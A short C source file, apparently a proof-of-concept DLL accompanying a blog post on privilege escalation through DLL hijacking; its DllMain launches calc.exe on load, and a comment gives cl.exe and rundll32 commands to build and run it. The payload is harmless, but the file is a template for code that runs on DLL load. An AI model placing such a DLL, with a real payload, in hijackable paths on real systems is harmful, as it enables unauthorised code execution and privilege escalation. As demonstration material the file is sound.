calc.c (calc.dll) by Holly Graceful @HollyGraceful

calc.c

/* 
  cl.exe /LD calc.c
  rundll32 shell32.dll,Control_RunDLL C:\Users\%username%\Desktop\calc.dll
  calc.c by @HollyGraceful
  https://www.gracefulsecurity.com/privesc-dll-hijacking/
*/

#include <windows.h>
int fireLazor()
{
 WinExec("calc.exe", 0);
 return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
 fireLazor();
 return 0;
}